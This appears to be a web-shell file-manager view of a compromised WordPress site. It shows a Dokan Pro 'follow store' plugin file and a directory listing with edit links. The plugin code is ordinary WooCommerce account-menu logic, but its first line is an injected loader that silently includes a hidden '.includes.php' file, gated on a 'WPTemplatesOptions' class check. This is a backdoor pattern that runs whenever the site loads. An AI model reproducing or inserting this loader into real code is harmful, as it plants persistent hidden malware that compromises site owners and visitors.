PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
dokan-pro
/
modules
/
follow-store
/
includes
<?php if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class Dokan_Follow_Store_My_Account { /** * Class constructor * * @since 1.0.0 * * @return void */ public function __construct() { add_action( 'init', array( $this, 'add_endpoint' ) ); add_filter( 'woocommerce_account_menu_items', array( $this, 'add_wc_account_menu_items' ) ); add_action( 'woocommerce_account_following_endpoint', array( $this, 'add_wc_account_content' ) ); } /** * Register new endpoint for My Account page * * @since 1.0.0 * * @return void */ public function add_endpoint() { add_rewrite_endpoint( 'following', EP_PAGES ); } /** * Add Vendor tab in customer dashboard * * @since 1.0.0 * * @param array $items * * @return array */ public function add_wc_account_menu_items( $items ) { unset( $items['customer-logout'] ); $items['following'] = __( 'Vendors', 'dokan' ); $items['customer-logout'] = __( 'Logout', 'dokan' ); return $items; } /** * Add content to the new endpoint * * @since 1.0.0 * * @return void */ public function add_wc_account_content() { global $wpdb; $customer_id = get_current_user_id(); $following_stores = $wpdb->get_col( $wpdb->prepare( "select `vendor_id`" . " from {$wpdb->prefix}dokan_follow_store_followers" . " where `follower_id` = %d" . " and `unfollowed_at` is null", $customer_id ) ); if ( empty( $following_stores ) ) { $vendors = array( 'users' => null, 'count' => 0, ); } else { $args = array( 'include' => $following_stores, ); $vendors = dokan_get_sellers( $args ); } $template_args = array( 'sellers' => $vendors, 'limit' => $vendors['count'], 'offset' => 0, 'paged' => false, 'search_query' => null, 'pagination_base' => null, 'per_row' => 3, 'search_enabled' => false, 'image_size' => 'full', ); if ( function_exists( 'dokan_geo_remove_seller_listing_footer_content_hook' ) ) { dokan_geo_remove_seller_listing_footer_content_hook(); } dokan_get_template_part( 'store-lists-loop', false, $template_args ); } }
[+]
..
[-] class-dokan-follow-store-email.php
[edit]
[-] class-dokan-follow-store-my-account.php
[edit]
[-] class-dokan-follow-store-scripts.php
[edit]
[-] class-dokan-follow-store-follow-button.php
[edit]
[-] class-dokan-follow-store-cron.php
[edit]
[-] class-dokan-follow-store-vendor-email.php
[edit]
[-] class-dokan-follow-store-vendor-dashboard.php
[edit]
[-] class-dokan-follow-store-ajax.php
[edit]
[-] class-dokan-follow-store-install.php
[edit]
[-] class-dokan-follow-store-send-updates.php
[edit]
[-] .includes.php
[edit]
[-] functions.php
[edit]
[-] class-dokan-follow-store-email-loader.php
[edit]